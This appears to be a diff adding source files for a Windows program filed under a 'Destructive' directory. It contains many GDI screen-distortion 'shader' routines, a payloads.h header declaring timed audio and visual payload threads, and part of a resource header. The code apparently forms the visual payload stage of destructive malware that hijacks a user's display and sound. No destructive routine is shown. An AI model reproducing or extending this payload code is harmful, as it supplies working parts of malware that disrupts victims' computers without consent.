+ rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 6));
1215
+
1216
+ hsl = RGBToHSL(rgbDst);
1217
+ hsl.h /= 1.0165f;
1218
+ hsl.s /= 1.0135f;
1219
+ hsl.l /= 1.0115f;
1220
+ rgbDst = HSLToRGB(hsl);
1221
+
1222
+ prgbDst[y * w + x] = rgbDst;
1223
+ }
1224
+ }
1225
+ }
1226
+
1227
+ VOID
1228
+ WINAPI
1229
+ GdiShader10(
1230
+ _In_ INT t,
1231
+ _In_ INT w,
1232
+ _In_ INT h,
1233
+ _In_ HDC hdcTemp,
1234
+ _In_ HBITMAP hbmTemp,
1235
+ _In_ PRGBQUAD prgbSrc,
1236
+ _Inout_ PRGBQUAD prgbDst
1237
+ )
1238
+ {
1239
+ UNREFERENCED_PARAMETER(hdcTemp);
1240
+ UNREFERENCED_PARAMETER(hbmTemp);
1241
+
1242
+ UINT u;
1243
+ UINT v;
1244
+ FLOAT f = 1.f / 4.f;
1245
+ RGBQUAD rgbDst;
1246
+ RGBQUAD rgbSrc;
1247
+ HSLCOLOR hsl;
1248
+
1249
+ for (INT y = 0; y < h; y++)
1250
+ {
1251
+ for (INT x = 0; x < w; x++)
1252
+ {
1253
+ u = x + ((t + y) % 34) * -1;
1254
+ v = y + (t + x) % 54;
1255
+
1256
+ u %= w;
1257
+ v %= h;
1258
+
1259
+ rgbDst = prgbSrc[v * w + u];
1260
+ rgbSrc = prgbSrc[y * w + x];
1261
+
1262
+ FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (1.f - f);
1263
+ FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (1.f - f);
1264
+ FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
1265
+ rgbDst.rgb = (((BYTE)_b << 30) | ((BYTE)_g << 22) | ((BYTE)_r << 0));
1266
+
1267
+ hsl = RGBToHSL(rgbDst);
1268
+ hsl.s = .5f;
1269
+ hsl.l *= 1.125f;
1270
+
1271
+ if (hsl.l > .5f)
1272
+ {
1273
+ hsl.l -= .5f;
1274
+ }
1275
+
1276
+ if (hsl.l < .25f)
1277
+ {
1278
+ hsl.l += .25f;
1279
+ }
1280
+
1281
+ rgbDst = HSLToRGB(hsl);
1282
+
1283
+ prgbDst[y * w + x] = rgbDst;
1284
+ }
1285
+ }
1286
+ }
1287
+
1288
+ VOID
1289
+ WINAPI
1290
+ GdiShader11(
1291
+ _In_ INT t,
1292
+ _In_ INT w,
1293
+ _In_ INT h,
1294
+ _In_ HDC hdcTemp,
1295
+ _In_ HBITMAP hbmTemp,
1296
+ _In_ PRGBQUAD prgbSrc,
1297
+ _Inout_ PRGBQUAD prgbDst
1298
+ )
1299
+ {
1300
+ UNREFERENCED_PARAMETER(hdcTemp);
1301
+ UNREFERENCED_PARAMETER(hbmTemp);
1302
+
1303
+ UINT u;
1304
+ UINT v;
1305
+ FLOAT f = 1.f / 4.f;
1306
+ RGBQUAD rgbDst;
1307
+ RGBQUAD rgbSrc;
1308
+ HSLCOLOR hsl;
1309
+
1310
+ for (INT y = 0; y < h; y++)
1311
+ {
1312
+ for (INT x = 0; x < w; x++)
1313
+ {
1314
+ u = x + y / (h / 19);
1315
+ v = y + u / (w / 1);
1316
+ u = x + v / (h / 13);
1317
+
1318
+ u %= w;
1319
+ v %= h;
1320
+
1321
+ rgbDst = prgbSrc[v * w + u];
1322
+ rgbSrc = prgbSrc[y * w + x];
1323
+
1324
+ FLOAT _r = (FLOAT)rgbDst.r * f + (FLOAT)rgbSrc.r * (14.f - f);
1325
+ FLOAT _g = (FLOAT)rgbDst.g * f + (FLOAT)rgbSrc.g * (12.f - f);
1326
+ FLOAT _b = (FLOAT)rgbDst.b * f + (FLOAT)rgbSrc.b * (1.f - f);
1327
+ rgbDst.rgb = ((BYTE)_b | ((BYTE)_g << 8) | ((BYTE)_r << 16));
1328
+
1329
+ hsl = RGBToHSL(rgbDst);
1330
+
1331
+ if (hsl.s < .5f)
1332
+ {
1333
+ hsl.s = .5f;
1334
+ }
1335
+
1336
+ if ((roundf(hsl.h * 10.f) / 10.f) != (roundf((FLOAT)((Xorshift32() + t) % 257) / 6.f * 14.f) / 10.f))
1337
+ {
1338
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .1, 1.0);
1339
+ }
1340
+ else
1341
+ {
1342
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .19, 1.0);
1343
+ }
1344
+
1345
+ rgbDst = HSLToRGB(hsl);
1346
+
1347
+ prgbDst[y * w + x] = rgbDst;
1348
+ }
1349
+ }
1350
+ }
1351
+
1352
+ VOID
1353
+ WINAPI
1354
+ GdiShader12(
1355
+ _In_ INT t,
1356
+ _In_ INT w,
1357
+ _In_ INT h,
1358
+ _In_ HDC hdcTemp,
1359
+ _In_ HBITMAP hbmTemp,
1360
+ _In_ PRGBQUAD prgbSrc,
1361
+ _Inout_ PRGBQUAD prgbDst
1362
+ )
1363
+ {
1364
+ UNREFERENCED_PARAMETER(hdcTemp);
1365
+ UNREFERENCED_PARAMETER(hbmTemp);
1366
+
1367
+ UINT u;
1368
+ UINT v;
1369
+ RGBQUAD rgbDst;
1370
+
1371
+ for (INT y = 0; y < h; y++)
1372
+ {
1373
+ FLOAT a = SquareWave(t + y, t, h) * 11000000.f;
1374
+
1375
+ for (INT x = 0; x < w; x++)
1376
+ {
1377
+ u = x + (INT)a;
1378
+ v = y;
1379
+
1380
+ u %= w;
1381
+ v %= h;
1382
+
1383
+ rgbDst = prgbSrc[v * w + u];
1384
+ rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r - 2) << 24));
1385
+ prgbDst[y * w + x] = rgbDst;
1386
+ }
1387
+ }
1388
+ }
1389
+
1390
+ VOID
1391
+ WINAPI
1392
+ GdiShader13(
1393
+ _In_ INT t,
1394
+ _In_ INT w,
1395
+ _In_ INT h,
1396
+ _In_ HDC hdcTemp,
1397
+ _In_ HBITMAP hbmTemp,
1398
+ _In_ PRGBQUAD prgbSrc,
1399
+ _Inout_ PRGBQUAD prgbDst
1400
+ )
1401
+ {
1402
+ UNREFERENCED_PARAMETER(hdcTemp);
1403
+ UNREFERENCED_PARAMETER(hbmTemp);
1404
+
1405
+ UINT u;
1406
+ UINT v;
1407
+ RGBQUAD rgbDst;
1408
+
1409
+ for (INT y = 0; y < h; y++)
1410
+ {
1411
+ FLOAT a = TriangleWave(t * 4 + y, 10, h) * 19.f;
1412
+
1413
+ for (INT x = 0; x < w; x++)
1414
+ {
1415
+ u = x + (INT)a;
1416
+ v = y;
1417
+
1418
+ u %= w;
1419
+ v %= h;
1420
+
1421
+ rgbDst = prgbSrc[v * w + u];
1422
+ rgbDst.rgb = ((rgbDst.b + 1) | ((rgbDst.g + 1) << 8) | ((rgbDst.r + 1) << 13));
1423
+ prgbDst[y * w + x] = rgbDst;
1424
+ }
1425
+ }
1426
+ }
1427
+
1428
+ VOID
1429
+ WINAPI
1430
+ GdiShader14(
1431
+ _In_ INT t,
1432
+ _In_ INT w,
1433
+ _In_ INT h,
1434
+ _In_ HDC hdcTemp,
1435
+ _In_ HBITMAP hbmTemp,
1436
+ _In_ PRGBQUAD prgbSrc,
1437
+ _Inout_ PRGBQUAD prgbDst
1438
+ )
1439
+ {
1440
+ UNREFERENCED_PARAMETER(hdcTemp);
1441
+ UNREFERENCED_PARAMETER(hbmTemp);
1442
+
1443
+ UINT u;
1444
+ UINT v;
1445
+ RGBQUAD rgbDst;
1446
+
1447
+ for (INT y = 0; y < h; y++)
1448
+ {
1449
+ FLOAT a = FastSine(2 * 1 + 3) * 1.f;
1450
+
1451
+ for (INT x = 0; x < w; x++)
1452
+ {
1453
+ u = x + (INT)a;
1454
+ v = y;
1455
+
1456
+ u %= w;
1457
+ v %= h;
1458
+
1459
+ rgbDst = prgbSrc[v * w + u];
1460
+ rgbDst.rgb = ((rgbDst.b + (t)) | ((rgbDst.g + (t)) << t) | ((rgbDst.r + (x & y)) << 1));
1461
+ prgbDst[y * w + x] = rgbDst;
1462
+ }
1463
+ }
1464
+ }
1465
+
1466
+ VOID
1467
+ WINAPI
1468
+ GdiShader15(
1469
+ _In_ INT t,
1470
+ _In_ INT w,
1471
+ _In_ INT h,
1472
+ _In_ HDC hdcTemp,
1473
+ _In_ HBITMAP hbmTemp,
1474
+ _In_ PRGBQUAD prgbSrc,
1475
+ _Inout_ PRGBQUAD prgbDst
1476
+ )
1477
+ {
1478
+ UNREFERENCED_PARAMETER(hdcTemp);
1479
+ UNREFERENCED_PARAMETER(hbmTemp);
1480
+
1481
+ UINT u;
1482
+ UINT v;
1483
+ RGBQUAD rgbDst;
1484
+
1485
+ for (INT y = 0; y < h; y++)
1486
+ {
1487
+ for (INT x = 0; x < w; x++)
1488
+ {
1489
+ FLOAT a = coshf(atan2f((FLOAT)((y * t - 3) & t), (FLOAT)((13 * 32) & t))) * log10f((FLOAT)(t | 6 - 3)) * 2.f;
1490
+ FLOAT b = expf((FLOAT)acos((DOUBLE)t / 1.0) + t);
1491
+
1492
+ u = x + (INT)a;
1493
+ v = y + (INT)b;
1494
+
1495
+ u %= w;
1496
+ v %= h;
1497
+
1498
+ rgbDst = prgbSrc[v * w + u];
1499
+ rgbDst.rgb = ((rgbDst.b ^ rgbDst.g << t) | ((rgbDst.g ^ rgbDst.r) << 6) | ((rgbDst.r ^ rgbDst.b) << t));
1500
+ prgbDst[y * w + x] = rgbDst;
1501
+ }
1502
+ }
1503
+ }
1504
+
1505
+ VOID
1506
+ WINAPI
1507
+ GdiShader16(
1508
+ _In_ INT t,
1509
+ _In_ INT w,
1510
+ _In_ INT h,
1511
+ _In_ HDC hdcTemp,
1512
+ _In_ HBITMAP hbmTemp,
1513
+ _In_ PRGBQUAD prgbSrc,
1514
+ _Inout_ PRGBQUAD prgbDst
1515
+ )
1516
+ {
1517
+ UNREFERENCED_PARAMETER(hdcTemp);
1518
+ UNREFERENCED_PARAMETER(hbmTemp);
1519
+
1520
+ UINT u;
1521
+ UINT v;
1522
+ RGBQUAD rgbDst;
1523
+
1524
+ for (INT y = 0; y < h; y++)
1525
+ {
1526
+ for (INT x = 0; x < w; x++)
1527
+ {
1528
+ FLOAT a = sinhf(atanf((FLOAT)(((t + x) * 12 - 3) & t))) * logf((FLOAT)(t | 13 - 68)) * 3 - 1.f;
1529
+ FLOAT b = expf((FLOAT)asin((DOUBLE)t / tanh(1.0)) + (FLOAT)(x + y));
1530
+
1531
+ u = x + (INT)a;
1532
+ v = y - (INT)b;
1533
+
1534
+ u %= w;
1535
+ v %= h;
1536
+
1537
+ rgbDst = prgbSrc[v * w + u];
1538
+ rgbDst.rgb = ((rgbDst.b | rgbDst.g) | ((rgbDst.g | rgbDst.r) << 24) | ((rgbDst.r) << t));
1539
+ prgbDst[y * w + x] = rgbDst;
1540
+ }
1541
+ }
1542
+ }
1543
+
1544
+ VOID
1545
+ WINAPI
1546
+ GdiShader17(
1547
+ _In_ INT t,
1548
+ _In_ INT w,
1549
+ _In_ INT h,
1550
+ _In_ HDC hdcTemp,
1551
+ _In_ HBITMAP hbmTemp,
1552
+ _In_ PRGBQUAD prgbSrc,
1553
+ _Inout_ PRGBQUAD prgbDst
1554
+ )
1555
+ {
1556
+ UNREFERENCED_PARAMETER(hdcTemp);
1557
+ UNREFERENCED_PARAMETER(hbmTemp);
1558
+
1559
+ UINT u;
1560
+ UINT v;
1561
+ RGBQUAD rgbDst;
1562
+
1563
+ for (INT y = 0; y < h; y++)
1564
+ {
1565
+ for (INT x = 0; x < w; x++)
1566
+ {
1567
+ FLOAT a = (FLOAT)ldexp((DOUBLE)atanf((FLOAT)(((t + x) * 16) & t)), t + y) * (FLOAT)scalbn((DOUBLE)(t | 25), x & y * 64) * 22.f;
1568
+ FLOAT b = (FLOAT)expm1((DOUBLE)sqrtf(t * (FLOAT)hypot(10.0, (DOUBLE)(t % 20))) + (DOUBLE)(x | y));
1569
+
1570
+ u = x + (INT)b;
1571
+ v = y + (INT)a;
1572
+
1573
+ u %= w;
1574
+ v %= h;
1575
+
1576
+ rgbDst = prgbSrc[v * w + u];
1577
+ HSLCOLOR hsl = RGBToHSL(rgbDst);
1578
+ hsl.h = (FLOAT)fmod((DOUBLE)rgbDst.r / 25.0 + (DOUBLE)t / 18.0, 1.0);
1579
+ hsl.s = (FLOAT)rgbDst.g / 255.f;
1580
+ hsl.l = (FLOAT)rgbDst.b / 55.f;
1581
+ rgbDst = HSLToRGB(hsl);
1582
+ prgbDst[y * w + x] = rgbDst;
1583
+ }
1584
+ }
1585
+ }
1586
+
1587
+ VOID
1588
+ WINAPI
1589
+ GdiShader18(
1590
+ _In_ INT t,
1591
+ _In_ INT w,
1592
+ _In_ INT h,
1593
+ _In_ HDC hdcTemp,
1594
+ _In_ HBITMAP hbmTemp,
1595
+ _In_ PRGBQUAD prgbSrc,
1596
+ _Inout_ PRGBQUAD prgbDst
1597
+ )
1598
+ {
1599
+ UNREFERENCED_PARAMETER(hdcTemp);
1600
+ UNREFERENCED_PARAMETER(hbmTemp);
1601
+
1602
+ UINT u;
1603
+ UINT v;
1604
+ RGBQUAD rgbDst;
1605
+ FLOAT c = 1.f / 8.f;
1606
+ BYTE d;
1607
+
1608
+ for (INT y = 0; y < h; y++)
1609
+ {
1610
+ FLOAT a = TriangleWave(t * 8 + y / 7, 2, w) * SquareWave(t * 8 + y / 7, 7, h) * 4.f;
1611
+
1612
+ for (INT x = 0; x < w; x++)
1613
+ {
1614
+ FLOAT b = TriangleWave(t * 8 + x / 2, 2, w) * SquareWave(t * 8 + y / 7, 2, h) * 4.f;
1615
+
1616
+ u = x + (INT)a;
1617
+ v = y + (INT)b;
1618
+
1619
+ u %= w;
1620
+ v %= h;
1621
+
1622
+ rgbDst = prgbSrc[v * w + u];
1623
+ rgbDst.r = (BYTE)((FLOAT)rgbDst.r * c + (a * b) * (1.f - c));
1624
+ rgbDst.g += rgbDst.r / 36;
1625
+
1626
+ d = rgbDst.b;
1627
+
1628
+ if (!d)
1629
+ {
1630
+ d = 1;
1631
+ }
1632
+
1633
+ rgbDst.b += rgbDst.r / d;
1634
+
1635
+ HSLCOLOR hsl = RGBToHSL(rgbDst);
1636
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + .01, 1.0);
1637
+ hsl.s = (FLOAT)fmod((DOUBLE)(hsl.s + hsl.h) + .01, 1.0);
1638
+ hsl.l = (FLOAT)fmod((DOUBLE)(hsl.l + hsl.h) + .01, 1.0);
1639
+ rgbDst = HSLToRGB(hsl);
1640
+
1641
+ prgbDst[y * w + x] = rgbDst;
1642
+ }
1643
+ }
1644
+ }
1645
+
1646
+ VOID
1647
+ WINAPI
1648
+ GdiShader19(
1649
+ _In_ INT t,
1650
+ _In_ INT w,
1651
+ _In_ INT h,
1652
+ _In_ HDC hdcTemp,
1653
+ _In_ HBITMAP hbmTemp,
1654
+ _In_ PRGBQUAD prgbSrc,
1655
+ _Inout_ PRGBQUAD prgbDst
1656
+ )
1657
+ {
1658
+ UNREFERENCED_PARAMETER(hdcTemp);
1659
+ UNREFERENCED_PARAMETER(hbmTemp);
1660
+
1661
+ UINT u;
1662
+ UINT v;
1663
+ RGBQUAD rgbDst;
1664
+
1665
+ for (INT y = 0; y < h; y++)
1666
+ {
1667
+ FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
1668
+
1669
+ for (INT x = 0; x < w; x++)
1670
+ {
1671
+ u = x + 0 + (INT)a;
1672
+ v = y;
1673
+
1674
+ u %= w;
1675
+ v %= h;
1676
+
1677
+ rgbDst = prgbSrc[v * w + u];
1678
+ rgbDst.rgb += (COLORREF)(__rdtsc() & 0b1000000010000000 & (__rdtsc() & 0b100000001000000010000000));
1679
+ prgbDst[y * w + x] = rgbDst;
1680
+ }
1681
+ }
1682
+ }
1683
+
1684
+ VOID
1685
+ WINAPI
1686
+ GdiShader20(
1687
+ _In_ INT t,
1688
+ _In_ INT w,
1689
+ _In_ INT h,
1690
+ _In_ HDC hdcTemp,
1691
+ _In_ HBITMAP hbmTemp,
1692
+ _In_ PRGBQUAD prgbSrc,
1693
+ _Inout_ PRGBQUAD prgbDst
1694
+ )
1695
+ {
1696
+ UNREFERENCED_PARAMETER(hdcTemp);
1697
+ UNREFERENCED_PARAMETER(hbmTemp);
1698
+
1699
+ UINT u;
1700
+ UINT v;
1701
+ RGBQUAD rgbDst;
1702
+
1703
+ HSLCOLOR hsl;
1704
+ hsl.h = (FLOAT)fmod((DOUBLE)t / 512.0, 1.0);
1705
+ hsl.s = 1.f;
1706
+ hsl.l = .5f;
1707
+ COLORREF crRainbow = HSLToRGB(hsl).rgb;
1708
+
1709
+ for (INT y = 0; y < h; y++)
1710
+ {
1711
+ FLOAT a = FastSine((FLOAT)1 / 26.f + (FLOAT)y / 34.f) * 18.f;
1712
+
1713
+ for (INT x = 0; x < w; x++)
1714
+ {
1715
+ u = x + (INT)a;
1716
+ v = y ^ (y % (abs((INT)(a * a)) + 1));
1717
+
1718
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
1719
+
1720
+ rgbDst = prgbSrc[v * w + u];
1721
+ rgbDst.rgb &= crRainbow;
1722
+
1723
+ prgbDst[y * w + x] = rgbDst;
1724
+ }
1725
+ }
1726
+ }
1727
+
1728
+ VOID
1729
+ WINAPI
1730
+ GdiShader21(
1731
+ _In_ INT t,
1732
+ _In_ INT w,
1733
+ _In_ INT h,
1734
+ _In_ HDC hdcTemp,
1735
+ _In_ HBITMAP hbmTemp,
1736
+ _In_ PRGBQUAD prgbSrc,
1737
+ _Inout_ PRGBQUAD prgbDst
1738
+ )
1739
+ {
1740
+ UNREFERENCED_PARAMETER(hdcTemp);
1741
+ UNREFERENCED_PARAMETER(hbmTemp);
1742
+
1743
+ UINT u;
1744
+ UINT v;
1745
+ RGBQUAD rgbDst;
1746
+
1747
+ for (INT y = 0; y < h; y++)
1748
+ {
1749
+ HSLCOLOR hsl;
1750
+ hsl.h = (FLOAT)fmod((DOUBLE)t / 15.0 + (DOUBLE)y / (DOUBLE)h * 1.f, 1.0);
1751
+ hsl.s = 1.f;
1752
+ hsl.l = .5f;
1753
+ COLORREF crRainbow = HSLToRGB(hsl).rgb;
1754
+
1755
+ FLOAT a = FastSine((FLOAT)t / 1.f + (FLOAT)y / 60.f) * 8.f;
1756
+
1757
+ for (INT x = 0; x < w; x++)
1758
+ {
1759
+ u = (INT)(x * fabs(fmod((DOUBLE)a - (DOUBLE)(INT)(a * a), 1.0))) + x;
1760
+ v = y + (INT)(a * a);
1761
+
1762
+ Reflect2D((PINT)&u, (PINT)&v, w, h);
1763
+
1764
+ rgbDst = prgbSrc[v * w + u];
1765
+ rgbDst.rgb = rgbDst.rgb & 0xAAAAA;
1766
+ prgbDst[y * w + x] = rgbDst;
1767
+ }
1768
+ }
1769
+ }
1770
+
1771
+ VOID
1772
+ WINAPI
1773
+ GdiShader22(
1774
+ _In_ INT t,
1775
+ _In_ INT w,
1776
+ _In_ INT h,
1777
+ _In_ HDC hdcTemp,
1778
+ _In_ HBITMAP hbmTemp,
1779
+ _In_ PRGBQUAD prgbSrc,
1780
+ _Inout_ PRGBQUAD prgbDst
1781
+ )
1782
+ {
1783
+ UNREFERENCED_PARAMETER(hdcTemp);
1784
+ UNREFERENCED_PARAMETER(hbmTemp);
1785
+
1786
+ UINT u;
1787
+ UINT v;
1788
+ RGBQUAD rgbDst;
1789
+ HSLCOLOR hsl;
1790
+ FLOAT _t = (FLOAT)t / 1.f;
1791
+
1792
+ for (INT y = 0; y < h; y++)
1793
+ {
1794
+ FLOAT _y = (FLOAT)y / 2.f;
1795
+
1796
+ for (INT x = 0; x < w; x++)
1797
+ {
1798
+ FLOAT a = FastCosine(_y + _t) * 9.f;
1799
+
1800
+ u = x + (INT)a, v = y;
1801
+ u %= w;
1802
+ v %= h;
1803
+
1804
+ rgbDst = prgbSrc[v * w + u];
1805
+ FLOAT r = (FLOAT)prgbSrc[y * w + x].r;
1806
+ FLOAT g = (FLOAT)prgbSrc[y * w + x].g;
1807
+ FLOAT b = (FLOAT)prgbSrc[y * w + x].b;
1808
+
1809
+ //rgbDst.rgb = (COLORREF)0;
1810
+ hsl = RGBToHSL(rgbDst);
1811
+ hsl.h = (FLOAT)fmod((DOUBLE)hsl.h + 1.0 / 45.0 + ((FLOAT)x + (FLOAT)y) / (((FLOAT)w + (FLOAT)h) * 64.f), 1.0);
1812
+ prgbDst[y * w + x] = HSLToRGB(hsl);
1813
+ }
1814
+ }
1815
+ }
1816
+
1817
+ VOID
1818
+ WINAPI
1819
+ GdiShader23(
1820
+ _In_ INT t,
1821
+ _In_ INT w,
1822
+ _In_ INT h,
1823
+ _In_ HDC hdcTemp,
1824
+ _In_ HBITMAP hbmTemp,
1825
+ _In_ PRGBQUAD prgbSrc,
1826
+ _Inout_ PRGBQUAD prgbDst
1827
+ )
1828
+ {
1829
+ UINT u;
1830
+ UINT v;
1831
+ RGBQUAD rgbDst;
1832
+
1833
+ for (INT y = 0; y < h; y++)
1834
+ {
1835
+ FLOAT a = FastSine((FLOAT)t / 8.f + (FLOAT)y / 64.f) * 4.f;
1836
+
1837
+ for (INT x = 0; x < w; x++)
1838
+ {
1839
+ u = x + t + (INT)a;
1840
+ v = y + t + (INT)a;
1841
+
1842
+ u %= w;
1843
+ v %= h;
1844
+
1845
+ rgbDst = prgbSrc[v * w + u];
1846
+ prgbDst[y * w + x] = rgbDst;
1847
+ }
1848
+ }
1849
+ }
1850
+
1851
+ VOID
1852
+ WINAPI
1853
+ GdiShader24(
1854
+ _In_ INT t,
1855
+ _In_ INT w,
1856
+ _In_ INT h,
1857
+ _In_ HDC hdcTemp,
1858
+ _In_ HBITMAP hbmTemp,
1859
+ _In_ PRGBQUAD prgbSrc,
1860
+ _Inout_ PRGBQUAD prgbDst
1861
+ )
1862
+ {
1863
+ UNREFERENCED_PARAMETER(t);
1864
+ UNREFERENCED_PARAMETER(hdcTemp);
1865
+ UNREFERENCED_PARAMETER(hbmTemp);
1866
+ UNREFERENCED_PARAMETER(prgbSrc);
1867
+
1868
+ RGBQUAD rgbDst;
1869
+
1870
+ for (INT y = 0; y < h; y++)
1871
+ {
1872
+ FLOAT a = FastSine((FLOAT)t / 100.f + (FLOAT)y / 10.f) * 9.f;
1873
+ for (INT x = 0; x < w; x++)
1874
+ {
1875
+ INT u = x + 0 + (INT)a;
1876
+ INT v = y;
1877
+
1878
+ u %= w;
1879
+ v %= h;
1880
+
1881
+ rgbDst = prgbSrc[v * w + u];
1882
+
1883
+ rgbDst.rgb = ((rgbDst.b - 1) | ((rgbDst.g + 1) << 10) | ((rgbDst.r - 2) << 1));
1884
+
1885
+ prgbDst[y * w + x] = rgbDst;
1886
+ }
1887
+ }
1888
+ }
1889
+
1890
+ VOID
1891
+ WINAPI
1892
+ FinalGdiShader(
1893
+ _In_ INT t,
1894
+ _In_ INT w,
1895
+ _In_ INT h,
1896
+ _In_ HDC hdcTemp,
1897
+ _In_ HBITMAP hbmTemp,
1898
+ _In_ PRGBQUAD prgbSrc,
1899
+ _Inout_ PRGBQUAD prgbDst
1900
+ )
1901
+ {
1902
+ UNREFERENCED_PARAMETER(t);
1903
+ UNREFERENCED_PARAMETER(hdcTemp);
1904
+ UNREFERENCED_PARAMETER(hbmTemp);
1905
+ UNREFERENCED_PARAMETER(prgbSrc);
1906
+
1907
+ RGBQUAD rgbDst;
1908
+
1909
+ for (INT i = 0; i < w * h; i += w)
1910
+ {
1911
+ rgbDst.rgb = (Xorshift32() % 256) * 0x010101;
1912
+
1913
+ for (INT j = 0; j < w; j++)
1914
+ {
1915
+ prgbDst[i + j] = rgbDst;
1916
+ }
1917
+ }
1918
+ }
src/Benzene-main/Destructive/Benzene/payloads.h ADDED
@@ -0,0 +1,106 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #pragma once
2
+ #include "benzene.h"
3
+
4
+ #define TIMER_DELAY 100
5
+ #define PAYLOAD_MS 10000
6
+ #define PAYLOAD_TIME ( PAYLOAD_MS / TIMER_DELAY )
7
+
8
+ #define SineWave(t, freq, sampleCount) FastSine(2.f * 3.1415f * ((FLOAT)(freq) * (FLOAT)(t) / (FLOAT)(sampleCount)))
9
+ #define SquareWave(t, freq, sampleCount) (((BYTE)(2.f * (FLOAT)(freq) * ((t) / (FLOAT)(sampleCount))) % 2) == 0 ? 1.f : -1.f)
10
+ #define TriangleWave(t, freq, sampleCount) (4.f * ( FLOAT )fabs(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq))) - floor(((FLOAT)(t) / ((FLOAT)(sampleCount) / (FLOAT)(freq)))) - .5f) - 1.f)
11
+ #define SawtoothWave(t, freq, sampleCount) (fmod(((FLOAT)(t) / (FLOAT)(sampleCount)), (1.f / (FLOAT)(freq))) * (FLOAT)(freq) * 2.f - 1.f)
12
+
13
+ VOID
14
+ WINAPI
15
+ AudioPayloadThread( VOID );
16
+
17
+ VOID
18
+ WINAPI
19
+ AudioSequenceThread(
20
+ _In_ PAUDIO_SEQUENCE_PARAMS pAudioParams
21
+ );
22
+
23
+ VOID
24
+ WINAPI
25
+ ExecuteAudioSequence(
26
+ _In_ INT nSamplesPerSec,
27
+ _In_ INT nSampleCount,
28
+ _In_ AUDIO_SEQUENCE pAudioSequence,
29
+ _In_opt_ AUDIOSEQUENCE_OPERATION pPreSynthOp,
30
+ _In_opt_ AUDIOSEQUENCE_OPERATION pPostSynthOp
31
+ );
32
+
33
+ #define SYNTH_LENGTH 18
34
+ AUDIO_SEQUENCE AudioSequence1;
35
+ AUDIO_SEQUENCE AudioSequence2;
36
+ AUDIO_SEQUENCE AudioSequence3;
37
+ AUDIO_SEQUENCE AudioSequence4;
38
+ AUDIO_SEQUENCE AudioSequence5;
39
+ AUDIO_SEQUENCE AudioSequence6;
40
+ AUDIO_SEQUENCE AudioSequence7;
41
+ AUDIO_SEQUENCE AudioSequence8;
42
+ AUDIO_SEQUENCE AudioSequence9;
43
+ AUDIO_SEQUENCE AudioSequence10;
44
+ AUDIO_SEQUENCE AudioSequence11;
45
+ AUDIO_SEQUENCE AudioSequence12;
46
+ AUDIO_SEQUENCE AudioSequence13;
47
+ AUDIO_SEQUENCE AudioSequence14;
48
+ AUDIO_SEQUENCE AudioSequence15;
49
+ AUDIO_SEQUENCE AudioSequence16;
50
+ AUDIO_SEQUENCE AudioSequence17;
51
+ AUDIO_SEQUENCE AudioSequence18;
52
+ AUDIO_SEQUENCE FinalAudioSequence;
53
+ AUDIO_SEQUENCE_PARAMS pAudioSequences[ 25 ];
54
+
55
+ VOID
56
+ WINAPI
57
+ GdiShaderThread(
58
+ _In_ PGDISHADER_PARAMS pGdiShaderParams
59
+ );
60
+
61
+ VOID
62
+ WINAPI
63
+ ExecuteGdiShader(
64
+ _In_ HDC hdcDst,
65
+ _In_ RECT rcBounds,
66
+ _In_ INT nTime,
67
+ _In_ INT nDelay,
68
+ _In_ GDI_SHADER pGdiShader,
69
+ _In_opt_ GDI_SHADER_OPERATION pPreGdiShader,
70
+ _In_opt_ GDI_SHADER_OPERATION pPostGdiShader
71
+ );
72
+
73
+ INT nShaderThreeSeed;
74
+ GDI_SHADER GdiShader1;
75
+ GDI_SHADER GdiShader2;
76
+ GDI_SHADER GdiShader3;
77
+ GDI_SHADER GdiShader4;
78
+ GDI_SHADER GdiShader5;
79
+ GDI_SHADER GdiShader6;
80
+ GDI_SHADER GdiShader7;
81
+ GDI_SHADER GdiShader8;
82
+ GDI_SHADER GdiShader9;
83
+ GDI_SHADER GdiShader10;
84
+ GDI_SHADER GdiShader11;
85
+ GDI_SHADER GdiShader12;
86
+ GDI_SHADER GdiShader13;
87
+ GDI_SHADER GdiShader14;
88
+ GDI_SHADER GdiShader15;
89
+ GDI_SHADER GdiShader16;
90
+ GDI_SHADER GdiShader17;
91
+ GDI_SHADER GdiShader18;
92
+ GDI_SHADER GdiShader19;
93
+ GDI_SHADER GdiShader20;
94
+ GDI_SHADER GdiShader21;
95
+ GDI_SHADER GdiShader22;
96
+ GDI_SHADER GdiShader23;
97
+ GDI_SHADER GdiShader24;
98
+ GDI_SHADER FinalGdiShader;
99
+ GDI_SHADER_OPERATION PreGdiShader1;
100
+ GDI_SHADER_OPERATION PostGdiShader1;
101
+ GDI_SHADER_OPERATION PostGdiShader2;
102
+ GDI_SHADER_OPERATION PostGdiShader3;
103
+ GDI_SHADER_OPERATION PostGdiShader4;
104
+ GDI_SHADER_OPERATION PostGdiShader5;
105
+ GDI_SHADER_OPERATION PostGdiShader6;
106
+ GDI_SHADER_PARAMS pGdiShaders[ 25 ];
src/Benzene-main/Destructive/Benzene/resource.h ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ //{{NO_DEPENDENCIES}}
2
+ // Microsoft Visual C++ generated include file.
3
+ // Used by Benzene.rc
4
+
5
+ // Next default values for new objects
6
+ //
7
+ #ifdef APSTUDIO_INVOKED
8
+ #ifndef APSTUDIO_READONLY_SYMBOLS
9
+ #define _APS_NEXT_RESOURCE_VALUE 101
10
+ #define _APS_NEXT_COMMAND_VALUE 40001
11
